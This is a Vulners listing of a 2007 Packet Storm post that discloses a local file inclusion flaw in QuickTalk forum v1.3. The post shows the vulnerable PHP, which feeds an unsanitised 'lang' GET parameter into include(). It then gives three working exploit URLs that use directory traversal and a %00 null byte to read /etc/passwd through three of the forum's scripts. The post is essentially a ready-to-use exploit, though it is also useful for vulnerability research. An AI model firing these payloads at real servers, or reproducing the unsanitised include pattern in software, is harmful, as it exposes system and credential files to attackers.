Lucene search

K

quicktalk-lfi.txt

🗓️ 28 Jun 2007 00:00:00Reported by KatatafishType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

QuickTalk forum v1.3 Local File Inclusion vulnerability in language paramete

Show more
Code
`###QuickTalk forum v1.3 Local File Inclusion###  
  
#download: http://www.qt-cute.org/download/qtf13.zip  
  
#found by: katatafish ([email protected])  
  
#vulncode:  
$strLang = $_GET["lang"];  
include("language/$strLang/qtf_lang_reg.inc");  
  
#exploits:  
  
http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00  
http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00  
http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00  
  
#thanks:str0ke  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo